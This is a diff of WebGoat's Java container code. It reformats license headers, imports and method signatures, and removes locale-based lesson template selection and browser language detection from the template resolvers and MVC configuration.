+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
- * for free software projects.
+ * projects.
- *
  * <p>
  *
  * @author WebGoat
  * @version $Id: $Id
  * @since December 12, 2015
  */
+
 package org.owasp.webgoat.container;
 
-import static org.asciidoctor.Asciidoctor.Factory.create;
-
-import io.undertow.util.Headers;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.io.StringWriter;
-import java.util.HashMap;
-import java.util.Locale;
-import java.util.Map;
-import java.util.Set;
-import javax.servlet.http.HttpServletRequest;
 import lombok.extern.slf4j.Slf4j;
 import org.asciidoctor.Asciidoctor;
 import org.asciidoctor.extension.JavaExtensionRegistry;
-import org.owasp.webgoat.container.asciidoc.*;
+import org.owasp.webgoat.container.asciidoc.OperatingSystemMacro;
-import org.owasp.webgoat.container.i18n.Language;
+import org.owasp.webgoat.container.asciidoc.UsernameMacro;
+import org.owasp.webgoat.container.asciidoc.WebGoatTmpDirMacro;
+import org.owasp.webgoat.container.asciidoc.WebGoatVersionMacro;
+import org.owasp.webgoat.container.asciidoc.WebWolfMacro;
+import org.owasp.webgoat.container.asciidoc.WebWolfRootMacro;
 import org.springframework.core.io.ResourceLoader;
-import org.springframework.web.context.request.RequestContextHolder;
-import org.springframework.web.context.request.ServletRequestAttributes;
-import org.springframework.web.servlet.i18n.SessionLocaleResolver;
 import org.thymeleaf.IEngineConfiguration;
 import org.thymeleaf.templateresolver.FileTemplateResolver;
 import org.thymeleaf.templateresource.ITemplateResource;
 import org.thymeleaf.templateresource.StringTemplateResource;
 
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.StringWriter;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
+
+import static org.asciidoctor.Asciidoctor.Factory.create;
+
 /**
  * Thymeleaf resolver for AsciiDoc used in the lesson, can be used as follows inside a lesson file:
- *
+ * <p>
- * <p><code>
+ * <code>
  * <div th:replace="doc:AccessControlMatrix_plan.adoc"></div>
  * </code>
  */
@@ -68,27 +68,18 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
 
     private static final Asciidoctor asciidoctor = create();
     private static final String PREFIX = "doc:";
-
-  private final Language language;
     private final ResourceLoader resourceLoader;
 
-  public AsciiDoctorTemplateResolver(Language language, ResourceLoader resourceLoader) {
+    public AsciiDoctorTemplateResolver(ResourceLoader resourceLoader) {
         this.resourceLoader = resourceLoader;
-    this.language = language;
         setResolvablePatterns(Set.of(PREFIX + "*"));
     }
 
     @Override
-  protected ITemplateResource computeTemplateResource(
+    protected ITemplateResource computeTemplateResource(IEngineConfiguration configuration, String ownerTemplate, String template, String resourceName, String characterEncoding, Map<String, Object> templateResolutionAttributes) {
-      IEngineConfiguration configuration,
-      String ownerTemplate,
-      String template,
-      String resourceName,
-      String characterEncoding,
-      Map<String, Object> templateResolutionAttributes) {
         var templateName = resourceName.substring(PREFIX.length());
-    log.debug("template used: {}", templateName);
+
-    try (InputStream is = getInputStream(templateName)) {
+        try (InputStream is = resourceLoader.getResource("classpath:/" + templateName).getInputStream()) {
             JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
             extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
             extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
@@ -101,45 +92,14 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
             asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
             return new StringTemplateResource(writer.getBuffer().toString());
         } catch (IOException e) {
-      return new StringTemplateResource(
+            return new StringTemplateResource("<div>Unable to find documentation for: " + templateName + " </div>");
-          "<div>Unable to find documentation for: " + templateName + " </div>");
         }
     }
 
-  private InputStream getInputStream(String templateName) throws IOException {
-    log.debug("locale: {}", language.getLocale().getLanguage());
-    String computedResourceName =
-        computeResourceName(templateName, language.getLocale().getLanguage());
-    if (resourceLoader
-        .getResource("classpath:/" + computedResourceName)
-        .isReadable() /*isFile()*/) {
-      log.debug("localized file exists");
-      return resourceLoader.getResource("classpath:/" + computedResourceName).getInputStream();
-    } else {
-      log.debug("using english template");
-      return resourceLoader.getResource("classpath:/" + templateName).getInputStream();
-    }
-  }
-
-  private String computeResourceName(String resourceName, String language) {
-    String computedResourceName;
-    if (language.equals("en")) {
-      computedResourceName = resourceName;
-    } else {
-      computedResourceName = resourceName.replace(".adoc", "_".concat(language).concat(".adoc"));
-    }
-    log.debug("computed local file name: {}", computedResourceName);
-    log.debug(
-        "file exists: {}",
-        resourceLoader.getResource("classpath:/" + computedResourceName).isReadable());
-    return computedResourceName;
-  }
-
     private Map<String, Object> createAttributes() {
         Map<String, Object> attributes = new HashMap<>();
         attributes.put("source-highlighter", "coderay");
         attributes.put("backend", "xhtml");
-    attributes.put("lang", determineLanguage());
         attributes.put("icons", org.asciidoctor.Attributes.FONT_ICONS);
 
         Map<String, Object> options = new HashMap<>();
@@ -147,26 +107,4 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
 
         return options;
     }
-
-  private String determineLanguage() {
-    HttpServletRequest request =
-        ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
-
-    Locale browserLocale =
-        (Locale)
-            request.getSession().getAttribute(SessionLocaleResolver.LOCALE_SESSION_ATTRIBUTE_NAME);
-    if (null != browserLocale) {
-      log.debug("browser locale {}", browserLocale);
-      return browserLocale.getLanguage();
-    } else {
-      String langHeader = request.getHeader(Headers.ACCEPT_LANGUAGE_STRING);
-      if (null != langHeader) {
-        log.debug("browser locale {}", langHeader);
-        return langHeader.substring(0, 2);
-      } else {
-        log.debug("browser default english");
-        return "en";
-      }
-    }
-  }
 }

src/main/java/org/owasp/webgoat/container/DatabaseConfiguration.java

@@ -1,8 +1,5 @@
 package org.owasp.webgoat.container;
 
-import java.util.Map;
-import java.util.function.Function;
-import javax.sql.DataSource;
 import lombok.RequiredArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
 import org.flywaydb.core.Flyway;
@@ -14,6 +11,10 @@ import org.springframework.context.annotation.Configuration;
 import org.springframework.context.annotation.Primary;
 import org.springframework.jdbc.datasource.DriverManagerDataSource;
 
+import javax.sql.DataSource;
+import java.util.Map;
+import java.util.function.Function;
+
 @Configuration
 @RequiredArgsConstructor
 @Slf4j
@@ -34,14 +35,14 @@ public class DatabaseConfiguration {
     }
 
     /**
-   * Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users
+     * Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users and 1 for lesson
-   * and 1 for lesson specific tables we use. This way we clean the data in the lesson database
+     * specific tables we use. This way we clean the data in the lesson database quite easily see {@link RestartLessonService#restartLesson()}
-   * quite easily see {@link RestartLessonService#restartLesson()} for how we clean the lesson
+     * for how we clean the lesson related tables.
-   * related tables.
      */
     @Bean(initMethod = "migrate")
     public Flyway flyWayContainer() {
-    return Flyway.configure()
+        return Flyway
+                .configure()
                 .configuration(Map.of("driver", properties.getDriverClassName()))
                 .dataSource(dataSource())
                 .schemas("container")
@@ -51,8 +52,8 @@ public class DatabaseConfiguration {
 
     @Bean
     public Function<String, Flyway> flywayLessons(LessonDataSource lessonDataSource) {
-    return schema ->
+        return schema -> Flyway
-        Flyway.configure()
+                .configure()
                 .configuration(Map.of("driver", properties.getDriverClassName()))
                 .schemas(schema)
                 .dataSource(lessonDataSource)

src/main/java/org/owasp/webgoat/container/HammerHead.java

@@ -9,29 +9,30 @@ import org.springframework.web.servlet.ModelAndView;
 
 /**
  * *************************************************************************************************
- *
  * <p>
- *
+ * <p>
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * This file is part of WebGoat, an Open Web Application Security Project
- * please see http://www.owasp.org/
+ * utility. For details, please see http://www.owasp.org/
- *
+ * <p>
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
- *
+ * <p>
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * This program is free software; you can redistribute it and/or modify it under
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * the terms of the GNU General Public License as published by the Free Software
- * License, or (at your option) any later version.
+ * Foundation; either version 2 of the License, or (at your option) any later
- *
+ * version.
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * <p>
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * This program is distributed in the hope that it will be useful, but WITHOUT
- * GNU General Public License for more details.
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- *
+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * details.
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * <p>
- * 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with
- *
+ * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * <p>Getting Source ==============
+ * Place - Suite 330, Boston, MA 02111-1307, USA.
- *
+ * <p>
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
  * for free software projects.
  *
  * @author Jeff Williams
@@ -46,10 +47,10 @@ public class HammerHead {
 
     private final Course course;
 
-  /** Entry point for WebGoat, redirects to the first lesson found within the course. */
+    /**
-  @RequestMapping(
+     * Entry point for WebGoat, redirects to the first lesson found within the course.
-      path = "/attack",
+     */
-      method = {RequestMethod.GET, RequestMethod.POST})
+    @RequestMapping(path = "/attack", method = {RequestMethod.GET, RequestMethod.POST})
     public ModelAndView attack() {
         return new ModelAndView("redirect:" + "start.mvc" + course.getFirstLesson().getLink());
     }

src/main/java/org/owasp/webgoat/container/LessonDataSource.java

@@ -1,14 +1,15 @@
 package org.owasp.webgoat.container;
 
+import org.owasp.webgoat.container.lessons.LessonConnectionInvocationHandler;
+import org.springframework.jdbc.datasource.ConnectionProxy;
+
+import javax.sql.DataSource;
 import java.io.PrintWriter;
 import java.lang.reflect.Proxy;
 import java.sql.Connection;
 import java.sql.SQLException;
 import java.sql.SQLFeatureNotSupportedException;
 import java.util.logging.Logger;
-import javax.sql.DataSource;
-import org.owasp.webgoat.container.lessons.LessonConnectionInvocationHandler;
-import org.springframework.jdbc.datasource.ConnectionProxy;
 
 public class LessonDataSource implements DataSource {
 
@@ -21,10 +22,9 @@ public class LessonDataSource implements DataSource {
     @Override
     public Connection getConnection() throws SQLException {
         var targetConnection = originalDataSource.getConnection();
-    return (Connection)
+        return (Connection) Proxy.newProxyInstance(
-        Proxy.newProxyInstance(
                 ConnectionProxy.class.getClassLoader(),
-            new Class[] {ConnectionProxy.class},
+                new Class[]{ConnectionProxy.class},
                 new LessonConnectionInvocationHandler(targetConnection));
     }
 

src/main/java/org/owasp/webgoat/container/LessonTemplateResolver.java

@@ -1,41 +1,36 @@
 /**
  * ************************************************************************************************
- *
  * <p>
- *
+ * <p>
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
  * please see http://www.owasp.org/
- *
+ * <p>
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
- *
+ * <p>
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
  * GNU General Public License as published by the Free Software Foundation; either version 2 of the
  * License, or (at your option) any later version.
- *
+ * <p>
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- * GNU General Public License for more details.
+ * General Public License for more details.
- *
+ * <p>
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * You should have received a copy of the GNU General Public License along with this program; if
  * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
  * 02111-1307, USA.
- *
+ * <p>
- * <p>Getting Source ==============
+ * Getting Source ==============
- *
+ * <p>
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
- * for free software projects.
+ * projects.
  *
  * @author WebGoat
  * @version $Id: $Id
  * @since October 28, 2003
  */
+
 package org.owasp.webgoat.container;
 
-import java.io.IOException;
-import java.nio.charset.StandardCharsets;
-import java.util.HashMap;
-import java.util.Map;
-import java.util.Set;
 import lombok.extern.slf4j.Slf4j;
 import org.springframework.core.io.ResourceLoader;
 import org.thymeleaf.IEngineConfiguration;
@@ -43,13 +38,20 @@ import org.thymeleaf.templateresolver.FileTemplateResolver;
 import org.thymeleaf.templateresource.ITemplateResource;
 import org.thymeleaf.templateresource.StringTemplateResource;
 
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
+
 /**
- * Dynamically resolve a lesson. In the html file this can be invoked as: <code>
+ * Dynamically resolve a lesson. In the html file this can be invoked as:
+ *
+ * <code>
  * <div th:case="true" th:replace="lesson:__${lesson.class.simpleName}__"></div>
  * </code>
- *
+ * <p>
- * <p>Thymeleaf will invoke this resolver based on the prefix and this implementation will resolve
+ * Thymeleaf will invoke this resolver based on the prefix and this implementation will resolve the html in the plugins directory
- * the html in the plugins directory
  */
 @Slf4j
 public class LessonTemplateResolver extends FileTemplateResolver {
@@ -64,22 +66,12 @@ public class LessonTemplateResolver extends FileTemplateResolver {
     }
 
     @Override
-  protected ITemplateResource computeTemplateResource(
+    protected ITemplateResource computeTemplateResource(IEngineConfiguration configuration, String ownerTemplate, String template, String resourceName, String characterEncoding, Map<String, Object> templateResolutionAttributes) {
-      IEngineConfiguration configuration,
-      String ownerTemplate,
-      String template,
-      String resourceName,
-      String characterEncoding,
-      Map<String, Object> templateResolutionAttributes) {
         var templateName = resourceName.substring(PREFIX.length());
         byte[] resource = resources.get(templateName);
         if (resource == null) {
             try {
-        resource =
+                resource = resourceLoader.getResource("classpath:/" + templateName).getInputStream().readAllBytes();
-            resourceLoader
-                .getResource("classpath:/" + templateName)
-                .getInputStream()
-                .readAllBytes();
             } catch (IOException e) {
                 log.error("Unable to find lesson HTML: {}", template);
             }

src/main/java/org/owasp/webgoat/container/MvcConfiguration.java

@@ -1,42 +1,37 @@
 /**
  * ************************************************************************************************
- *
  * <p>
- *
+ * <p>
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
  * please see http://www.owasp.org/
- *
+ * <p>
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
- *
+ * <p>
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
  * GNU General Public License as published by the Free Software Foundation; either version 2 of the
  * License, or (at your option) any later version.
- *
+ * <p>
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- * GNU General Public License for more details.
+ * General Public License for more details.
- *
+ * <p>
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * You should have received a copy of the GNU General Public License along with this program; if
  * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
  * 02111-1307, USA.
- *
+ * <p>
- * <p>Getting Source ==============
+ * Getting Source ==============
- *
+ * <p>
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
- * for free software projects.
+ * projects.
  *
  * @author WebGoat
  * @version $Id: $Id
  * @since October 28, 2003
  */
+
 package org.owasp.webgoat.container;
 
-import java.io.IOException;
-import java.nio.charset.StandardCharsets;
-import java.util.Map;
-import java.util.Set;
 import lombok.RequiredArgsConstructor;
-import lombok.extern.slf4j.Slf4j;
 import org.owasp.webgoat.container.i18n.Language;
 import org.owasp.webgoat.container.i18n.Messages;
 import org.owasp.webgoat.container.i18n.PluginMessages;
@@ -49,11 +44,9 @@ import org.springframework.core.io.ResourceLoader;
 import org.springframework.core.io.support.ResourcePatternResolver;
 import org.springframework.web.servlet.LocaleResolver;
 import org.springframework.web.servlet.ViewResolver;
-import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
 import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
 import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
 import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
-import org.springframework.web.servlet.i18n.LocaleChangeInterceptor;
 import org.springframework.web.servlet.i18n.SessionLocaleResolver;
 import org.thymeleaf.IEngineConfiguration;
 import org.thymeleaf.extras.springsecurity5.dialect.SpringSecurityDialect;
@@ -66,10 +59,16 @@ import org.thymeleaf.templateresolver.ITemplateResolver;
 import org.thymeleaf.templateresource.ITemplateResource;
 import org.thymeleaf.templateresource.StringTemplateResource;
 
-/** Configuration for Spring MVC */
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Configuration for Spring MVC
+ */
 @Configuration
 @RequiredArgsConstructor
-@Slf4j
 public class MvcConfiguration implements WebMvcConfigurer {
 
     private static final String UTF8 = "UTF-8";
@@ -95,24 +94,15 @@ public class MvcConfiguration implements WebMvcConfigurer {
     /**
      * Responsible for loading lesson templates based on Thymeleaf, for example:
      *
-   * <p><div th:include="/lessons/spoofcookie/templates/spoofcookieform.html" id="content"></div>
+     * <div th:include="/lessons/spoofcookie/templates/spoofcookieform.html" id="content"></div>
      */
     @Bean
     public ITemplateResolver lessonThymeleafTemplateResolver(ResourceLoader resourceLoader) {
-    var resolver =
+        var resolver = new FileTemplateResolver() {
-        new FileTemplateResolver() {
             @Override
-          protected ITemplateResource computeTemplateResource(
+            protected ITemplateResource computeTemplateResource(IEngineConfiguration configuration, String ownerTemplate, String template, String resourceName, String characterEncoding, Map<String, Object> templateResolutionAttributes) {
-              IEngineConfiguration configuration,
+               try (var is = resourceLoader.getResource("classpath:" + resourceName).getInputStream()) {
-              String ownerTemplate,
+                    return new StringTemplateResource(new String(is.readAllBytes(), StandardCharsets.UTF_8));
-              String template,
-              String resourceName,
-              String characterEncoding,
-              Map<String, Object> templateResolutionAttributes) {
-            try (var is =
-                resourceLoader.getResource("classpath:" + resourceName).getInputStream()) {
-              return new StringTemplateResource(
-                  new String(is.readAllBytes(), StandardCharsets.UTF_8));
                } catch (IOException e) {
                    return null;
                }
@@ -122,7 +112,9 @@ public class MvcConfiguration implements WebMvcConfigurer {
         return resolver;
     }
 
-  /** Loads all normal WebGoat specific Thymeleaf templates */
+    /**
+     * Loads all normal WebGoat specific Thymeleaf templates
+     */
     @Bean
     public ITemplateResolver springThymeleafTemplateResolver(ApplicationContext applicationContext) {
         SpringResourceTemplateResolver resolver = new SpringResourceTemplateResolver();
@@ -135,7 +127,9 @@ public class MvcConfiguration implements WebMvcConfigurer {
         return resolver;
     }
 
-  /** Loads the html for the complete lesson, see lesson_content.html */
+    /**
+     * Loads the html for the complete lesson, see lesson_content.html
+     */
     @Bean
     public LessonTemplateResolver lessonTemplateResolver(ResourceLoader resourceLoader) {
         LessonTemplateResolver resolver = new LessonTemplateResolver(resourceLoader);
@@ -145,13 +139,12 @@ public class MvcConfiguration implements WebMvcConfigurer {
         return resolver;
     }
 
-  /** Loads the lesson asciidoc. */
+    /**
+     * Loads the lesson asciidoc.
+     */
     @Bean
-  public AsciiDoctorTemplateResolver asciiDoctorTemplateResolver(
+    public AsciiDoctorTemplateResolver asciiDoctorTemplateResolver(ResourceLoader resourceLoader) {
-      Language language, ResourceLoader resourceLoader) {
+        AsciiDoctorTemplateResolver resolver = new AsciiDoctorTemplateResolver(resourceLoader);
-    log.debug("template locale {}", language);
-    AsciiDoctorTemplateResolver resolver =
-        new AsciiDoctorTemplateResolver(language, resourceLoader);
         resolver.setCacheable(false);
         resolver.setOrder(1);
         resolver.setCharacterEncoding(UTF8);
@@ -159,8 +152,7 @@ public class MvcConfiguration implements WebMvcConfigurer {
     }
 
     @Bean
-  public SpringTemplateEngine thymeleafTemplateEngine(
+    public SpringTemplateEngine thymeleafTemplateEngine(ITemplateResolver springThymeleafTemplateResolver,
-      ITemplateResolver springThymeleafTemplateResolver,
                                                         LessonTemplateResolver lessonTemplateResolver,
                                                         AsciiDoctorTemplateResolver asciiDoctorTemplateResolver,
                                                         ITemplateResolver lessonThymeleafTemplateResolver) {
@@ -168,52 +160,30 @@ public class MvcConfiguration implements WebMvcConfigurer {
         engine.setEnableSpringELCompiler(true);
         engine.addDialect(new SpringSecurityDialect());
         engine.setTemplateResolvers(
-        Set.of(
+                Set.of(lessonTemplateResolver, asciiDoctorTemplateResolver, lessonThymeleafTemplateResolver, springThymeleafTemplateResolver));
-            lessonTemplateResolver,
-            asciiDoctorTemplateResolver,
-            lessonThymeleafTemplateResolver,
-            springThymeleafTemplateResolver));
         return engine;
     }
 
     @Override
     public void addResourceHandlers(ResourceHandlerRegistry registry) {
-    // WebGoat internal
+        //WebGoat internal
         registry.addResourceHandler("/css/**").addResourceLocations("classpath:/webgoat/static/css/");
-    registry.addResourceHandler("/js/**").addResourceLocations("classpath:/webgoat/static/js/");
+        registry.addResourceHandler("/js/**")
-    registry
+                .addResourceLocations("classpath:/webgoat/static/js/");
-        .addResourceHandler("/plugins/**")
+        registry.addResourceHandler("/plugins/**").addResourceLocations("classpath:/webgoat/static/plugins/");
-        .addResourceLocations("classpath:/webgoat/static/plugins/");
+        registry.addResourceHandler("/fonts/**").addResourceLocations("classpath:/webgoat/static/fonts/");
-    registry
-        .addResourceHandler("/fonts/**")
-        .addResourceLocations("classpath:/webgoat/static/fonts/");
 
-    // WebGoat lessons
+        //WebGoat lessons
-    registry
+        registry.addResourceHandler("/images/**").addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/images/").toArray(String[]::new));
-        .addResourceHandler("/images/**")
+        registry.addResourceHandler("/lesson_js/**").addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/js/").toArray(String[]::new));
-        .addResourceLocations(
+        registry.addResourceHandler("/lesson_css/**").addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/css/").toArray(String[]::new));
-            lessonScanner.applyPattern("classpath:/lessons/%s/images/").toArray(String[]::new));
+        registry.addResourceHandler("/lesson_templates/**").addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/templates/").toArray(String[]::new));
-    registry
+        registry.addResourceHandler("/video/**").addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/video/").toArray(String[]::new));
-        .addResourceHandler("/lesson_js/**")
-        .addResourceLocations(
-            lessonScanner.applyPattern("classpath:/lessons/%s/js/").toArray(String[]::new));
-    registry
-        .addResourceHandler("/lesson_css/**")
-        .addResourceLocations(
-            lessonScanner.applyPattern("classpath:/lessons/%s/css/").toArray(String[]::new));
-    registry
-        .addResourceHandler("/lesson_templates/**")
-        .addResourceLocations(
-            lessonScanner.applyPattern("classpath:/lessons/%s/templates/").toArray(String[]::new));
-    registry
-        .addResourceHandler("/video/**")
-        .addResourceLocations(
-            lessonScanner.applyPattern("classpath:/lessons/%s/video/").toArray(String[]::new));
     }
 
     @Bean
-  public PluginMessages pluginMessages(
+    public PluginMessages pluginMessages(Messages messages, Language language,
-      Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) {
+                                         ResourcePatternResolver resourcePatternResolver) {
         PluginMessages pluginMessages = new PluginMessages(messages, language, resourcePatternResolver);
         pluginMessages.setDefaultEncoding("UTF-8");
         pluginMessages.setBasenames("i18n/WebGoatLabels");
@@ -226,24 +196,6 @@ public class MvcConfiguration implements WebMvcConfigurer {
         return new Language(localeResolver);
     }
 
-  @Bean
-  public LocaleResolver localeResolver() {
-    SessionLocaleResolver localeResolver = new SessionLocaleResolver();
-    return localeResolver;
-  }
-
-  @Bean
-  public LocaleChangeInterceptor localeChangeInterceptor() {
-    LocaleChangeInterceptor lci = new LocaleChangeInterceptor();
-    lci.setParamName("lang");
-    return lci;
-  }
-
-  @Override
-  public void addInterceptors(InterceptorRegistry registry) {
-    registry.addInterceptor(localeChangeInterceptor());
-  }
-
     @Bean
     public Messages messageSource(Language language) {
         Messages messages = new Messages(language);
@@ -253,8 +205,14 @@ public class MvcConfiguration implements WebMvcConfigurer {
         return messages;
     }
 
+    @Bean
+    public LocaleResolver localeResolver() {
+        return new SessionLocaleResolver();
+    }
+
     @Bean
     public LabelDebugger labelDebugger() {
         return new LabelDebugger();
     }
+
 }

src/main/java/org/owasp/webgoat/container/WebGoat.java

@@ -1,37 +1,36 @@
 /**
  * ************************************************************************************************
- *
  * <p>
- *
+ * <p>
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
  * please see http://www.owasp.org/
- *
+ * <p>
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
- *
+ * <p>
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
  * GNU General Public License as published by the Free Software Foundation; either version 2 of the
  * License, or (at your option) any later version.
- *
+ * <p>
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- * GNU General Public License for more details.
+ * General Public License for more details.
- *
+ * <p>
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * You should have received a copy of the GNU General Public License along with this program; if
  * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
  * 02111-1307, USA.
- *
+ * <p>
- * <p>Getting Source ==============
+ * Getting Source ==============
- *
+ * <p>
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
- * for free software projects.
+ * projects.
  *
  * @author WebGoat
  * @version $Id: $Id
  * @since October 28, 2003
  */
+
 package org.owasp.webgoat.container;
 
-import java.io.File;
 import org.owasp.webgoat.container.session.UserSessionData;
 import org.owasp.webgoat.container.session.WebSession;
 import org.springframework.beans.factory.annotation.Value;
@@ -44,8 +43,10 @@ import org.springframework.context.annotation.Scope;
 import org.springframework.context.annotation.ScopedProxyMode;
 import org.springframework.web.client.RestTemplate;
 
+import java.io.File;
+
 @Configuration
-@ComponentScan(basePackages = {"org.owasp.webgoat.container", "org.owasp.webgoat.lessons"})
+@ComponentScan(basePackages = { "org.owasp.webgoat.container", "org.owasp.webgoat.lessons"})
 @PropertySource("classpath:application-webgoat.properties")
 @EnableAutoConfiguration
 public class WebGoat {

src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java

@@ -2,32 +2,32 @@
  * ************************************************************************************************
  * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
  * please see http://www.owasp.org/
- *
+ * <p>
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
- *
+ * <p>
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
  * GNU General Public License as published by the Free Software Foundation; either version 2 of the
  * License, or (at your option) any later version.
- *
+ * <p>
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- * GNU General Public License for more details.
+ * General Public License for more details.
- *
+ * <p>
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * You should have received a copy of the GNU General Public License along with this program; if
  * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
  * 02111-1307, USA.
- *
+ * <p>
- * <p>Getting Source ==============
+ * Getting Source ==============
- *
+ * <p>
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
- * for free software projects.
+ * projects.
- *
  * <p>
  *
  * @author WebGoat
  * @version $Id: $Id
  * @since December 12, 2015
  */
+
 package org.owasp.webgoat.container;
 
 import lombok.AllArgsConstructor;
@@ -44,7 +44,9 @@ import org.springframework.security.config.annotation.web.configurers.Expression
 import org.springframework.security.core.userdetails.UserDetailsService;
 import org.springframework.security.crypto.password.NoOpPasswordEncoder;
 
-/** Security configuration for WebGoat. */
+/**
+ * Security configuration for WebGoat.
+ */
 @Configuration
 @AllArgsConstructor
 @EnableWebSecurity
@@ -54,29 +56,19 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
 
     @Override
     protected void configure(HttpSecurity http) throws Exception {
